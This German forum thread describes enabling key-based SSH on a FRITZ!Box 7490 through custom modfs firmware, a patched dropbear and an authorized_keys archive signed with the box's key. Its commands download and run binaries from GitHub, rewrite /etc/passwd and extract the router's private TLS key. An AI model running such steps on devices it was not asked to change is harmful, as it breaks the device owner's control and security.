SSH auf der [email protected] mit austauschbarer authorized_keys

Chatty

Aktives Mitglied
Mitglied seit
13 Mrz 2006
Beiträge
1,796
Punkte für Reaktionen
37
Punkte
48
Ich wollte endlich auf der 7490 den Zustand haben, wie ihn @fesc auf der 6591 erlaubt: Shellzugriff per SSH. Wenn möglich: mit austauschbarem Schlüsselpaar ohne neuen Firmwareflash. Dazu habe ich folgende Schritte unternommen:

Nr.​

Aktion​

Erläuterung​

1falsche Recovery nutzenz.B. von der 7390
2.\EVA-FTP-Client.ps1 -Address 192.168.178.1 -Verbose -Debug -Scriptblock { BootDeviceFromImage implant_siab_3.10.107.image.7490 }SIAB einpflanzen
3https://192.168.178.1:8010/SIAB nutzen (auch für folgende Aktionen)
4cd /var/media/ftp; swapon $(blkid|sed -n -r "s|(.*): TYPE=.swap.*|\1|p")Swap einschalten
5wget -qO - https://github.com/PeterPawn/modfs/tarball/master | gunzip -c | tar x; cd $(find -type d -name "*modfs*" -maxdepth 1)modfs-master laden
6mkdir -p files/usr/bin; cd files/usr/binbinaries.tgz vorbereiten
7wget https://github.com/PeterPawn/yf_bin/raw/master/target/mips/3.10.107/dropbearmulti; ln -s dropbearmulti dropbear- dropbear rein
8cp ../../../bin/scripts/check_signed_image ../../../bin/VR9_3.10.107/openssl .- check_signed_image rein
9echo -e "#! /bin/sh\nsed -e \"s|^\(root\):\([^:]*\):\([^:]*\):\([^:]*\):\([^:]*\):\([^:]*\):\(.*\)\\$|\\\1:\\\2:\\\3:\\\4:\\\5:/var/home:\\\7|\" -i \$(realpath /etc/passwd) && /usr/bin/check_signed_image /var/media/ftp/authorized_keys_signed.tar -s && mkdir -p /var/home/.ssh && tar xf /var/media/ftp/authorized_keys_signed.tar -C / ./var/home/.ssh/authorized_keys && dropbear" >cond_run_dropbear- dropbear-Startskript (home ändern, Sig. prüfen & entpacken, dropbear starten)
10chmod 777 *; cd ../..; mkdir -p lib/systemd/system;- alles ausführbar
11(cd lib/systemd/system; echo -e "[Service]\nExecStart=/usr/bin/cond_run_dropbear\nAfter=net.service\nWantedBy=multi-user.target" >dropbear.service; chmod 644 *)- systemd-Datei für automatischen Start
12tar cf - usr lib|gzip>binaries_113_3.10.107.tgz; rm -rf usr lib; cd ..- binaries.tgz erstellen
14(cd modscripts; chmod a-x *_icons *_key *_night *_annex *_telnet* *branding *tainted*)Auswahl der modscripts
15./modfs update [URL='https://download.avm.de/fritzbox/fritzbox-7490/deutschland/fritz.os/FRITZ.Box_7490-07.57.image']FRITZ.Box_7490-07.57.image[/URL]... und ab die Post!

Noch nicht neustarten! Damit hat man eine Firmware, die dropbear startet, falls eine passende authorized_keys_signed.tar auf dem Fritz!NAS liegt. "Passend" bedeutet, dass die authorized_keys-Datei für dropbar auf bestimmte Art verpackt und mit dem privaten Schlüssel der Box signiert wurde. Wenn man diesen aus der Box kopiert, kann man die Schritte auch außerhalb tun. Im folgenden beschreibe ich, wie es auf der Box mit obigem SIAB geht (wir befinden uns genau oberhalb des obigen modfs-Pfades):

Nr.​

Aktion​

Erläuterung​

16wget https://github.com/PeterPawn/YourFritz/raw/main/signimage/sign_image wget https://github.com/PeterPawn/YourFritz/raw/main/signimage/image_signing_files.inc wget https://github.com/PeterPawn/privatekeypassword/raw/master/shell/privatekeypassword.shbenötigte Skripte
17sed -r -e "s#\((mktemp|which)#(modfs-beta/bin/VR9_3.10.107/busybox \1#g" -e "s#\(privatekeypassword #(./privatekeypassword.sh #" -i sign_image; chmod u+x sign_image privatekeypassword.sh; mkdir -p var/home/.sshausführbar machen
18echo "ssh-rsa AAAAblabla" >var/home/.ssh/authorized_keyspersönl. öff. Schlüssel speichern (Paar z.B. mit puttygen erzeugen)
19tar cf authorized_keys.tar ./varöffentlichen Schlüssel einpacken
20SIGN_ON_BOX=1 YF_SIGNIMAGE_OPENSSL=modfs-beta/bin/VR9_3.10.107/openssl ./sign_image authorized_keys.tar>authorized_keys_signed.tarArchiv mit priv. Schlüssel der Box signieren
21YF_SIGNIMAGE_OPENSSL=modfs-beta/bin/VR9_3.10.107/openssl ./modfs-beta/bin/scripts/check_signed_image authorized_keys_signed.tar -sTestlauf, ob Sig. als gültig erkannt wird

Nach dem Neustart der Box kann man sich dann mit dem privaten Schlüssel anmelden: putty -i privkey [email protected] und wird so begrüßt:
1619430246084.png

Wenn sich genug Interessenten finden, übernimmt das @PeterPawn bestimmt als modscript in modfs und telnet kann abdanken.
 
Zuletzt bearbeitet:
Eine Erklärung der einzelnen Aktionen:
  1. Die Recoveries von AVM haben mir unter Windows bisher am besten geholfen, die Box im Bootloader zu stoppen. Da ich nicht wirklich recovern möchte, nehme ich eine Recovery von einer anderen Box, somit bleibt die Box dann im Bootloader stehen.
  2. Die IP-Adresse muss man ggf. anpassen. Das SIAB-Image muss auch bereit liegen.
  3. Die IP-Adresse muss man ggf. anpassen.
  4. Einen USB-Stick mit mind. einer Swap-Partition muss man an der Box gesteckt haben. Ansonsten kann man eine Swap-Datei auf einer gewöhnlichen extX-, FAT- oder NTFS-Partition verwenden - siehe oben verlinkten Beitrag.
  5. Die Beta enthält alle bekannten Fixes, aber ggf. neue Probleme. Ich habe Revision #452b6ec verwendet. Ist die Ausgangsfirmware älter als 07.24, dann unterstützt sie auf obigem Weg kein https. Dann einfach alle wget durch bin/VR9_3.10.107/busybox wget ersetzen.
  6. Voraussetzung für Peters copy_binaries modscript.
  7. Peters dropbear binary wurde gepatcht.
  8. Das Skript wird später benötigt, um die Signatur von /var/media/ftp/authorized_keys_signed.tar zu prüfen. Dieses benötigt openssl.
  9. Daas dropbar-Starskript wird einmal beim Boxstart aufgerufen. Es ändert das Home-Verzeichnis von root auf /var/home, damit der akzeptierte Schlüssel dorthin kopiert werden kann. Hat man dann Shell-Zugriff, ließe sich dieser Schlüssel auch noch ändern - bis zum nächsten Box-Neustart.
  10. Die Dateirechte anpassen.
  11. systemd seit 07.19.
  12. copy_binaries erwartet ein passend benanntes tgz.
  13. Hatte nichts mit dropbear zu tun.
  14. Einige modscripts funktionieren nicht mit 07.26, andere will man einfach nicht. Die nervige Meldung im WebGUI erscheint bei Nutzung von SSH auch nicht.
  15. Nun hat man alle Zutaten für die Firmware selbst. Weiter geht's mit der Erstellung des signierten öffentlichen Schlüssels.
 
Zuletzt bearbeitet:
SSH mache ich schon seit der 7170.
Ich habe es nach dieser Anleitung gemacht:

mit dem öffentlichen Schlüssel anmelden
IMO ist das dann der private Schlüssel.
 
Natürlich der private :rolleyes:. Danke für die Korrektur. Der Unterschied der o.g. Methode ist, dass nicht einfach jeder öffentliche Schlüssel auf dem für "jeden" beschreibaren Medium liegen, dieser aber auch nicht fest in die Firmware integriert ist, sondern zwar jeder einen öffentlichen Schlüssel anbieten kann, dieser aber nur akzeptiert wird, wenn er mit dem privaten Schlüssel der Box signiert wurde.
 
Zuletzt bearbeitet:
auf dem für "jeden" beschreibaren Medium liegen
So hatte ich es lange Zeit.
Da es den in mancher FB gar nicht gibt (neustes Beispiel: FR1200), mache ich es jetzt in der rc.user so:
Code:
# write 'authorized_keys' to file
cat > /var/tmp/.ssh/authorized_keys << 'ENDAUTHORIZEDKEY'
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAP1+f18Uv...verkürzt...QHg5WRpwUtEp rsa-key-20100420
ENDAUTHORIZEDKEY
Und den kann ich auch jederzeit tauschen.
Und da kann auch nicht so jeder hinschreiben.
 
und telnet kann abdanken.
Aber nur in dem Sinne, daß man es dann nicht mehr nutzen möchte - solange bei AVM der Start über Telefon-Codes freischaltbar ist und das Applet in der AVM-BusyBox steckt, bleibt auch die Modifikation zur Aktivierung (der Telefoncodes und des Symlinks) drin.

Ich sehe beim Lesen der Liste ein paar Probleme - wenn ich mir das als komplette "Automatisierung" des Vorgangs vorstellen will.

Punkt 2 braucht - um "allgemein" zu sein - zumindest das Ermitteln des Device-Namens: swapon $(blkid | sed -n -e "s|^\([^:]*\):.*TYPE=\"swap\"|\1|p") (ggf. noch mit einem weiteren sed -n -e 1p dahinter, damit mehr als eine Swap-Partition nicht zum Problem wird - EDIT: Das BB-Applet verkraftet auch mehrere Parameter, habe ich gerade bemerkt.).

Ich sehe zwar auch den Link dahinter (insgesamt ohnehin eine schöne Zusammenstellung, daher das Däumchen), aber den werden die meisten "Nur-Leser" der Liste gar nicht wirklich wahrnehmen (meine Erfahrung, wenn ich zu viel "Kochbuch" angeboten hatte und Deine Liste oben ist ja - offensichtlich - genau auf dieses "copy & paste" ausgelegt, wenn man sich andere Zeilen ansieht, z.B. das Erstellen der rc.dropbear) und wenn dann obendrein nicht auf die Reaktion (aka Fehlernachricht, wobei eine positive Quittung ja gar nicht käme) achtet (auch eine oft gemachte Erfahrung), steht gar kein Swap-Space zur Verfügung.

Punkt 5 funktioniert so tatsächlich erst seit kurzem (genauer seitdem auch AVM die BusyBox auf 1.29.x aktualisiert hat - das brauchen Benutzer älterer Versionen in dieser Form also gar nicht erst probieren), daher kann man nun tatsächlich auch alle Dateien direkt von GitHub laden ... auch mit der originalen BusyBox von AVM und das AVM-eigene httpsdl macht nur noch Sinn, wenn man damit Dateien uploaden wollte. Das ermöglicht es dann auch, passende "Pakete" zusammenzustellen und diese direkt in irgendeinem Repo zu hosten, was zuvor nicht ging, da für den Download von GitHub HTTPS-Support Pflicht ist.

Punkt 8 lädt die richtige Datei (check_signed_image), der Link hat aber die Bezeichnung check_sign_image - nicht schlimm, nur verwirrend.

Punkt 9 sieht im ersten Moment für einen "Beobachter" erst mal tricky bzw. komisch aus ... warum sollte man mit dem Entpacken in / beginnen, wenn man doch nur nach /var/home/.ssh will? Das Problem liegt hier tatsächlich wieder am Signieren bzw. daran, wie das von sign_image (und partiell auch von check_signed_image, wobei es dort weniger "schlimm" und zu lösen wäre) behandelt wird. Weil bei AVM so ein Image immer mit einem Verzeichnis ./var startet und das auch erforderlich ist, wenn man eigene Images mit den AVM-Programmen prüfen lassen will (wo dann auch die ./var/install in der Datei ausgeführt wird), habe ich das - obwohl eigentlich unnötig - auch bei den "Sonderfunktionen" mit dem Box-Key so implementiert (bzw. nicht auf die Prüfung verzichtet in diesem Falle). Auch die "Zweitverwertung" des ersten Eintrags im Tarball (als Modell für den Signaturdatei-Eintrag) wäre in diesem Falle eigentlich nicht erforderlich ... denn dabei braucht es kein "reproducible signing" und auch die Sonderfälle bei der Dateigröße braucht es nicht, wenn die Prüfung eben gerade NICHT mit den AVM-Tools erfolgen soll. Da muß ich bei Gelegenheit mal noch etwas drauf herumdenken - damals war es halt bequem, beide Wege (AVM und die Verwendung des ohnehin vorhandenen Box-Keys für das Sicherstellen, daß die Datei "genau für diese Box" ist) in einem gemeinsamen Skript zu haben. Andererseits ist ./var bei Basisverzeichnis / auch der einzige Platz im (originalen) System, wo man überhaupt etwas schreiben kann - da macht diese "Regel" (daß die Datei mit ./var starten muß, wenn man sie entpacken will) vielleicht sogar in diesem speziellen Fall noch weiterhin Sinn.

Was hat Punkt 13 mit dem eigentlichen Thema zu tun? Auch hier reißen sich die "Abschreiber" nach meiner Ansicht ein vollkommen unnötiges Loch in die Sicherheit der Firmware - wozu genau braucht man die Option, ausführbare Dateien auch von USB-Volumes zu starten? Da reicht dann wieder eine simple Lücke irgendwo in der AVM-Firmware (z.B. eine Stelle, wo man als "URL" für einen Aufruf auch eine eingeben kann, die mit file:///var/media/ftp/... beginnt), um von dort Programme auszuführen. Wer macht so etwas überhaupt? Sich über Telnet und dessen Sicherheit Gedanken zu machen und gleichzeitig eine geschlossene Sicherheitslücke (ohne Not bzw. ohne plausible Begründung) wieder aufzureißen, macht für mich keinen Sinn.

Auch Punkt 14 kann ich nicht wirklich nachvollziehen ... denn genau dafür gibt es ja (schon ewig) die Option mit der Datei custom_modscripts. Eine (imho bessere) Alternative wäre hier z.B. ein:
Code:
find modscripts contrib -type f -exec grep -l MODFS_MODSCRIPT '{}' \; | sed -e "s|^|-|" >custom_modscripts; for m in swapoff exec profile ; do sed -e "s|-\(.*$m.*\)|+\1|" -i custom_modscripts; done; cat custom_modscripts
, weil das (a) ALLE Skript-Files erwischt, egal wie sie heißen (was bei Dir in #14 halt nur für den "Snapshot" am erwähnten Hash-Wert gilt) und man in der "Auswahl" der Werte für die for-Schleife nicht unbedingt die kompletten Namen angeben muß, sondern auch nur die relevanten Teile für die Skripts, die man wieder "aktivieren" möchte. So "lernt" auch der Anwender Deiner Kommandofolgen etwas über die Funktionen, die er da tatsächlich aktiviert (spätestens mit dem cat zur Kontrolle) - beim gezeigten chmod kriege nicht mal ich selbst die Liste der dabei noch aktiven Skript-Files unfallfrei zusammen.

Bei Punkt 16 hast Du Dich wohl beim Aufschreiben vertan ... ich sehe jedenfalls keinen Anlaß, da privatekeypassword.mk zu laden, denn das ist das Makefile.

Punkt 17 muß ich mir selbst noch einmal ansehen - die Skript-Files sind noch aus der Zeit, wo ich nicht zwingend versucht habe, nur POSIX-kompatible Kommandos zu verwenden. Daher gibt's da tatsächlich noch ein which, was aber durch ein command -v zu ersetzen wäre. Beim mktemp war eigentlich die Absicht, dessen Fehlen auch abzufangen: https://github.com/PeterPawn/YourFr...73e08df58ffc79c3094/signimage/sign_image#L286 - das sollte auch funktionieren, nur habe ich wohl versäumt, die Fehlermeldung auch noch zu unterdrücken, was natürlich verwirrt. Da werde ich also (obwohl ich die eigentlich auch komplett neu machen wollte (mit YF_GUI) und damit auch schon begonnen hatte) mal schnell noch zwei, drei Änderungen einchecken - was dann ggf. Deine Liste "verwirrt", die dann zu korrigieren wäre. Auch macht es hier vermutlich Sinn, die gesamte Datei image_signing_files.inc optional zu machen ... die sollte ja ursprüngklich genau nur dazu dienen, daß der Benutzer eigene Pfade/Namen für die Key-Files festlegen kann, OHNE dazu in den angebotenen Shell-Skripten (die diese Datei dann wieder inkludieren) herumändern zu müssen, denn jeder dabei dann wieder gemachte Fehler, würde - nach überwiegender Erfahrung - nicht der eigenen Änderung, sondern dem Skript an sich angelastet.



Ansonsten krankt die ganze Zusammenstellung in meinen Augen aber auch an dem, was mich selbst bisher davon abgehalten hat, solche "Pakete" anzubieten. Denn auch hier werden die einzelnen Bestandteile auch einzeln zusammengesucht (was per se richtig ist bzw. es sein kann, falls es doch mal wieder Updates der (binären) Files gibt) ... aber es fehlt zu viel "Zusammenhang" zwischen den geladenen Dateien und das trotz Deiner Bemühungen, auf die Stellen zu verlinken, wo etwas beschrieben wurde (das Like dafür hast Du ja schon).

Sortiert man das jetzt nämlich etwas auseinander (nach meiner Ansicht unumgänglich, wenn man es wirklich als "Angebot" zum "modfs" hinzufügen wollte), zerfällt das Ganze durchaus in MEHRERE "modscripts", die dann ggf. voneinander abhängig sein müßten (was in "modfs" leider immer noch fehlt) oder man macht es in einzelnen (und eigentlich in der custom_modscripts inaktiven), die dann von einem zusätzlichen Skript aufgerufen werden.

Gegen eine "einfache Integration" spricht ja schon die Verwendung von copy_binaries ... da muß man ja VORHER schon wissen, was am Ende in der binaries.tgz landen soll - das war ja auch nur EIN Beispiel, wie man eigene Dateien ins Image kopieren lassen KÖNNTE. Aber das beißt sich natürlich mit der Idee eines eigenen "modscripts" dafür ... denn das kommt erst danach (wenn die binaries.tgz schon komplett sein muß) zum Zuge.

Ein solches "Paket" wäre dann aus meiner Sicht das gesamte Thema "Signieren und Signatur prüfen" ... dafür bräuchte es ein Paket, das drei Skript-Files (oder auch nur zwei, wenn das Include-File obsolet ist) enthält und sie in das Image einbaut (daß man nicht immer ein sign_image braucht, wenn man nur prüfen will, ist mir dabei egal, weil die Größe zu vernachlässigen ist) ... nur bräuchte ein solches Paket dann wieder andere als "prerequisites".

In diesem Falle z.B. ein privatekeypassword-Paket (mit einem Binary und einer Library), weil dieses Auslesen des Box-Keys auch noch bei anderen Gelegenheiten Sinn macht bzw. erforderlich ist und nicht alle Binaries das direkt machen (wie die gepatchte dropbear-Version) - ein Beispiel wäre stunnel, wo man das auch brauchen kann/würde.

Parallel dazu braucht es noch ein OpenSSL ... auch das wäre dann natürlich als gesondertes Paket sinnvoll, weil es deutlich mehr Anwendungen für dieses Binary gibt, als nur das Signieren bzw. die Signaturprüfung.

Das sind also schon mal drei Pakete insgesamt (für die "komplette" Signaturprüfung bzw. das eigene Signieren mit dem Box-Key), wobei das dritte von den beiden anderen abhängig ist. (Daß man das gesamte privatekeypassword auch ganz einfach mit irgendeinem MD5-Calculator machen kann, steht auf einem anderen Blatt - das habe ich ja erst veröffentlicht, nachdem es privatekeypassword (auf anderen Wegen) bereits gab. Und falls sich AVM mal entschließt, da etwas anderes zu verwenden (das braucht ja nur die einmalige Konvertierung beim Update), ist ein "spezielles" Programm oder Skript immer noch leichter zu ersetzen - daher bleibe ich (solange das nicht alles in einer Datei steht, die man dann ohnehin anpassen muß) auch bei dem gesonderten privatekeypassword.)

Und das ist nur für das Signieren und die Prüfung ... da kämen dann noch (mind.) zwei weitere Pakete hinzu. Denn auch das Generieren einer authorized_keys (und bei anderen SSH-Programmen auch weiterer Dateien in .ssh) ist ja eigentlich eher eine Aufgabe, die man bei JEDEM SSH-Paket irgendwie lösen müßte ... also auch dann, wenn jemand anstelle von dropbear eher sshd (https://github.com/PeterPawn/yf_bin...91f76f0f938b19b3a44/target/mips/3.10.107/sshd - aus dem OpenSSH-Paket) verwenden sollte. Das sollte man also auch eher in einem eigenen Paket lösen ... oder eben sogar in mehreren, je nachdem, wo und wie man die gültigen Keys am Ende (SICHER!) speichern will.

Und oben drauf käme dann für einen SSH-Zugang zur Box noch das Paket mit dem eigentlichen SSH-Server ... auch hier würde es dann (wenn man es tatsächlich in "modfs" integrieren wollte) wieder Sinn machen, wenn der Benutzer sich aussuchen kann, WELCHEN Server er gerne einsetzen möchte. dropbear ist zwar per se etwas kompakter als OpenSSH, aber letzteres ist durchaus "bekannter" und an einigen Stellen auch noch umfangreicher (speziell bei den Konfigurationsmöglichkeiten für den Server-Part -> siehe man sshd_config) und die Boxen sind mittlerweile auch durchaus in der Lage, mit dem etwas aufgeblähteren sshd zurechtzukommen.



Um das also noch einmal zusammenzufassen ... Kudos für Deine Zusammenstellung, aber die ist - so, wie sie oben steht - auch nur eine subjektive Auflistung der benötigten Kommandos (und nicht bei allen verstehe ich den Sinn wirklich) und taugt in dieser Form (nach meiner Ansicht, die aber auch nicht in Stein gemeißelt ist, wenn man sie argumentativ ändern möchte) auch nicht für eine Integration eines SSH-Servers "für alle" in die "modfs"-Abläufe. Mal abgesehen davon, daß für "echte Automatisierung" eben entweder keine Entscheidungen des Benutzers notwendig sein dürfen (alle verwendeten Kommandos als so "generisch" sein müssen, daß sie trotzdem immer passen) oder sie VORHER zu treffen sind (Auswahl-Dateien, Environment-Variablen) oder eben "abgefragt" werden müssen (was aber nur als generelles Ja/Nein für einzelne "modscripts" realisiert ist von mir).

So kann sich zwar jeder an Deiner Auflistung orientieren ... aber in der vorliegenden Form sehe ich keine Möglichkeit, das - ohne sehr umfangreiche Änderungen und genau diesen Aufwand scheue ich ja schon lange, jedenfalls für das "alte 'modfs'", was ich schon lange nicht mehr weiter bearbeiten MÖCHTE (ich werde nur mit der neuen Version nicht fertig) - so zu integrieren, daß es tatsächlich bei allen (potentiellen) Benutzern der "modscripts" (und mittlerweile habe ich da partiell auch die anderen Boxen im Blick, die nicht auf VR9 basieren) auch sicher(!) funktioniert.

Ich habe auch nicht wirklich ALLES oben ausprobiert, sondern nur mal drübergelesen ... ich hoffe mal, daß ich nichts wirklich Wichtiges dabei überlesen habe (z.B. habe ich die sed-Aufrufe nicht wirklich genau angesehen und auch die Verzeichnisse und die Kommandos zum Wechseln des Arbeitsverzeichnisses nicht verfolgt).
 
Zuletzt bearbeitet:
Was sagst du zu meiner Variante in #5?
Ist die sicher genug?
 
Was ist schon wirklich sicher? Ja, auch die Speicherung irgendwo im TFFS (ob nun als Datei oder als "Inline-Data" in einem Shell-Skript) ist eine Option.

Man muß (auch bei der Sicherheit) ohnehin auch aufpassen, daß es noch irgendwie "handhabbar" bleibt ... und das geht schon bei der Frage los, wie man die Daten des öffentlichen Schlüssels dann in die Box bekommt. Dabei spielt natürlich dann auch die Frage, wie leicht ein "Angreifer" sie ändern kann, eine Rolle.

Daher gibt es für mich - wenn man die Daten auf einem Pfad ablegt, der per NAS erreichbar ist und sei es dreist nur der "interne" Flash und kein USB-Volume - auch eine "Pflicht", daß die Integrität der Datei beim Laden überprüfbar sein muß. Selbst wenn man postuliert, daß jemand Schreibzugriff auf den NAS-Speicher bräuchte und man den (sogar halbwegs sicher) reglementieren kann, ist das einfach ein "no-go" ... und das auch dann, wenn der Inhalt der Datei eigentlich nicht geheim ist (die öffentlichen Schlüssel kann JEDER wissen, deshalb heißen die auch so), denn das eigentliche Problem liegt ja in einer (unbemerkten) Änderung.

Bei der hier verwendeten Form (also beim Signieren mit dem Box-Key, den man dann auch wieder für die Prüfung benutzen kann) hat man eigentlich sogar ein Henne-Ei-Problem ... wenn man keine andere Option hat, um den Key zum Signieren auszulesen, wird das schon einigermaßen kompliziert.

Eine Möglichkeit wäre es allerdings tatsächlich, daß man das direkt nach dem Zurücksetzen macht oder sich den aktuellen Inhalt des TFFS aus einer Support-Datei extrahiert (ist für NAND bisher (von mir zumindest) nicht veröffentlicht) ... beides sorgt für ein TFFS-Image, dessen Inhalt bekannt ist und dem kann man dann tatsächlich entweder wieder eigene Daten hinzufügen (was man zum Erzeugen/Ersetzen der rc.user nutzen könnte) und es anschließend flashen oder man geht auch einfach nur hin und zieht sich die wichtigen Daten (websrv_ssl_key.pem und das zugehörige Kennwort, das ja auf maca basiert) aus diesem Image heraus und kann dann problemlos auch außerhalb der Box ein Image erzeugen, welches man mit dem Box-Key signieren kann.

Eine andere Möglichkeit ist das Ersetzen des Box-Keys mit einem eigenen, den man dann ja auch wieder kennt ... dafür bietet das AVM-GUI ja sogar die Option, diesen Key (und ein Zertifikat dafür) hochzuladen. Das war auch ein weiterer Punkt, den ich @Chatty (an anderer Stelle, ich weiß gar nicht mehr wo, nur daß es noch nicht lange zurück liegt) "angeboten" hatte, um den "initialen" PubKey auf die Box zu bringen.

Aber all das funktioniert auch mit einer originalen Box (und das muß dann nicht mal unbedingt eine VR9-Box sein, wo man sich mit dem richtigen Image einen Shell-Zugang per SIAB verschaffen kann) und deren "eingebauten" Funktionen ... was ja auch immer wichtig ist, weil mit irgendeiner Lösung muß man nun mal beginnen und das hier für die 7490 verwendete Einpflanzen von SIAB in die originale Firmware funktioniert eben (genauso wie "modfs") nicht bei anderen Modellen. Da wäre man also per se schon auf ein "mehrgleisiges" Vorgehen angewiesen, weil erst einmal der Shell-Zugriff (hier Punkt 1 und 2 in #1) zur Herausforderung wird - je nach Herangehensweise sind das dann entweder mehrfache Updates (erst mal Telnet, dann das "richtige" Image) oder zusätzliche Arbeitsschritte, wie ich sie oben als Option aufgezeigt habe.

Aber alles, was über Änderungen am TFFS erfolgen muß, ist immer noch "ausreichend" sicher ... denn die sind nur machbar, wenn man (a) entweder ohnehin schon Shell-Zugriff hat (dann kann man aus dem OS heraus ändern) oder wenn man (b) Zugriff auf EVA hat und dann kann man auch alles andere ändern ... bis hin zum installierten OS. Eine Datei auf dem NAS (oder gar auf einem USB-Volume, was ich abziehen und extern modifizieren kann, bevor ich es wieder anstecke) ist hingegen per se unsicher ... auch wenn bei AVM mittlerweile die NAS-Funktionen wohl in den Standardeinstellungen tatsächlich deaktiviert sind - zumindest die über SMB. Bei FTP bin ich mir da gerade gar nicht sicher - da hat man wohl nur den ftpuser in Pension geschickt und vergibt nicht mehr automatisch für jeden neu angelegten Benutzer auch NAS-Rechte.

Aber sowie da ein Benutzer mit Schreibrechten auf den NAS-Speicher gehackt wird (und dazu reicht immer noch eine SID für eine gültige Session, die man bei nicht verschlüsselter Kommunikation mit dem GUI der Box (sowohl Admin als auch NAS und MyFRITZ!) leicht mitschneiden kann, erst recht in kaskadierten Netzen, wo man dann nicht mal die IP noch kapern muß, weil man dasselbe NAT-Gateway benutzt), könnte man eine nicht weiter gesicherte Datei mit "autorisierten SSH-Keys" problemlos ersetzen oder auch nur (weniger auffällig) ergänzen.

Das erwähnte Henne-Ei-Problem ist tatsächlich ein weiteres, was mich bisher noch davon abgehalten hat, so ein "Paket" auch anzubieten ... entweder man braucht dann für diese Keys gleich noch ein GUI zur Verwaltung (meinetwegen ähnlich dem, was GitHub mit SSH-Keys macht: https://docs.github.com/en/github/a...b/adding-a-new-ssh-key-to-your-github-account - man muß solche Keys ja dann auch wieder entfernen können) oder man denkt sich irgendeinen Mechanismus aus, wie man "beim ersten Mal" noch auf anderem Weg eine Authentifizierung hinbekommt. Irgendeine Variante, bei der man einen festen Public-Key hinterlegt und dem Benutzer den privaten Key dafür in die Hand gibt, indem man ihn veröffentlicht, müßte (im eigenen Interesse des Benutzers) dann wieder so "sophisticated" sein, daß der nicht einfach auf das Ersetzen durch ein eigenes Schlüsselpaar pfeifen kann und am Ende zig Boxen mit diesem bekannten SSH-Key im Netz herumgurken.

Die dropbear-Version aus meinem Freetz-Fork ist auch (absichtlich) so weit zusammen gestrichen, daß man da nicht einfach beim ersten Mal ein Login mit Benutzername und Kennwort zulassen kann - das unterstützt die von mir bereitgestellte Datei generell nicht. Tatsächlich treibt mich seit dem Einbau der TOTP durch AVM die Idee um, da beim ersten Login (bzw. solange es keinen hinterlegten öffentlichen Key gibt) doch zumindest auch zeitweise eine Kennwort-Authentifizierung zuzulassen bzw. einen "bekannten Key" zu verwenden. Seit einiger Zeit kennt auch dropbear eine Plugin-Schnittstelle (https://github.com/mkj/dropbear/blob/master/pubkeyapi.h), bei der man die "starre Suche" in der authorized_keys auch durch eine Datenbank oder ähnliches ersetzen kann. Über ein solches Plugin (das dann auch nicht zwingend an die "YourFritz"-Version des Servers gebunden wäre) könnte man also diese öffentlichen Schlüssel auch irgendwo anders speichern (wobei ein solches Plugin ein C-Programm sein muß und man mit Shell-Code da nicht weiterkommt) und dabei sogar wieder eine temporäre (oder zumindest zeitlich bzw. nach Aufrufen begrenzte) Anmeldung aus dem LAN auch mit irgendeinem bekannten oder durch eine Box-Eigenschaft vorhersagbaren Schlüsselpaar zulassen.

Alles das ist aber wieder Arbeit und braucht neue Patches für den Server und ggf. ein passendes Plugin (es gäbe auch noch genug Platz im TFFS unterhalb von Node 100, um sich auf einen neuen, speziellen Node mit solchen Keys festzulegen, der auch Factory-Resets überlebt und KEINE rc.user braucht) - und wenn man dabei nicht nur den Blick auf dropbear richtet, sondern sshd in demselben behält, funktioniert so eine Lösung auch mit diesen BEIDEN SSH-Servern.

Am OpenSSH muß man halt per se weniger herumpatchen, weil man da die meisten Einstellungen noch zur Laufzeit in der sshd_config so glattziehen kann, daß am Ende dasselbe Sicherheitsniveau dabei herausspringt. Wobei das beim SFTP-Server auch nicht mehr gilt ... da muß man noch einiges tun, damit auch beim SFTP-Zugriff die Berechtigungen (für "normale Benutzer" zumindest) über libavmacl2.so geprüft werden, damit man dafür keine zweite Benutzerverwaltung aufmachen muß, wenn man wirklich mit unterschiedlichen Zugriffsrechten arbeiten will. Aber wenigstens ist das dann wieder bei beiden SSH-Servern einheitlich, weil der dropbear ja keine eigene Implementierung hat und die von OpenSSH benutzt wird.
 
Vielen Dank für deine detaillierte Durchsicht.

Ich habe die Liste in erster Linie für mich als Komplettübersicht erstellt, da mir deine vielen guten Tipps leider viel zu verstreut im Forum sind und du dich "weigerst", ein fertiges modscript bereitzustellen (wie gesagt, du hilfst sehr viel, aber bis zur Lösung ist manchmal doch zu viel Recherche notwendig & gerade bei diesem Problem führen sehr viele Wege nach Rom).

Punkt 4 wollte ich eigentlich bewusst kurz halten. Schade, dass AVM das herausgenommen hat. Prima Idee für ein modscript ;-). Aber beim Bootstrapping würde das auch nicht helfen. Danke, nehme ich auf.

Punkt 5 ist ein wichtiger Hinweis - nehme ich in #2 auf.

Punkt 8 war ein Tippfehler in der Erläuterung. Den Link habe ich platziert, damit man schnell einen Blick reinwerfen kann. Danke, sehr aufmerksam gelesen.

Punkt 9 hatte ich bei dir bisher immer so verstanden, dass dein Prüfskript nur auf Bordmittel zurückgreift ("AVM-Tools"), dann aber gemerkt, dass sich das wohl nur auf die Prüfschlüsselinfrastruktur bezieht, da es ja zumindest openssl benötigt. In diesem Fall hätte man die Signatur also auch ganz anders lösen können, aber da hatte ich es schon mit deinen Skripten (Erstellung & Prüfung) umgesetzt.

Punkt 13 hast du Recht - hat nichts mit dropbear-Integration zu tun, aber wie hier am Anfang beschrieben, habe ich die Übersicht auch für mich erstellt. Den Inhalt hatten wir ja schon u.a. hier diskutiert. Ich hatte damals curl, jq und ein paar Skripte auf einer NTFS-Partition - inzwischen nutze ich dort auch ext2. In #1693 hast du es (anders als sonst) leider nicht begründet. Wo befindet sich eine Stelle, wo ich eine URL wie "file:///var/media/ftp" nutzen (also ausführen) könnte? Aber aufgrund der Themenfremdheit nehme ich es oben (und bei meinem nächsten Firmwarebauen) raus.

Punkt 14: Ich kannte bisher nur x-flag-Methode. Was macht "for m in swapoff exec profile"? Ich vermute, du wolltest ein "+" die Skripte zu setzen, die bisher ohne custom_modscripts letztlich zur Anwendung kommen. Aber nur drei Beispiele - alle haben die Rechte 0755, wurden also ausgeführt:
-modscripts/mod_prefer_fonnumber_name
+modscripts/mod_profile
-modscripts/mod_rc_tail_sh
Ich hatte überlegt, auf jeden Ausschluss einzugehen, aber eben darauf gesetzt. dass hier jeder "seine Suppe kochen" kann und sich dazu entsprechend schlau macht. Deine Vorauswahl der exec-Rechte ist ja letztlich auch nur eine Empfehlung.

Punkt 16 ist mir leider untergegangen. Es muss natürlich das Skript geladen werden, welches in Punkt 17 ausführbar gemacht wird.

